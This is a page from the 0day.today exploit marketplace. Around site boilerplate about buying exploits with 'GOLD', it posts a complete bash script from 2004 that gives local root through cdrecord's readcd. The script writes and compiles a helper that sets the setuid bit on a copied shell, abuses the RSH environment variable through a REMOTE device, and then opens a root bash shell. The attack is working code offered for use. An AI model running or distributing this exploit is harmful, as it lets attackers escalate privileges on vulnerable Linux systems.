0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
CDRecord's ReadCD Local Root Privileges
======================================= CDRecord's ReadCD Local Root Privileges ======================================= #!/bin/bash echo "readcd-exp.sh -- ReadCD local exploit ( Test on cdrecord-2.01-0.a27.2mdk)" echo "Author : newbug [at] chroot.org" echo "Date :09.13.2004" echo "IRC : irc.chroot.org #discuss" export READCD=/usr/bin/readcd cd /tmp cat > s.c <<_EOF_ #include <unistd.h> #include <sys/types.h> #include <stdio.h> int main() { setuid(0);setgid(0); chown("/tmp/ss", 0, 0); chmod("/tmp/ss", 04755); return 0; } _EOF_ cat > ss.c <<_EOF_ #include <stdio.h> int main() { setuid(0);setgid(0); execl("/bin/bash","bash",(char *)0); return 0; } _EOF_ gcc -o s s.c gcc -o ss ss.c export RSH=/tmp/s $READCD dev=REMOTE:brk.chroot.org:1,0,1 1 >/dev/null 2>&1 /tmp/ss # 0day.today [2024-11-16] #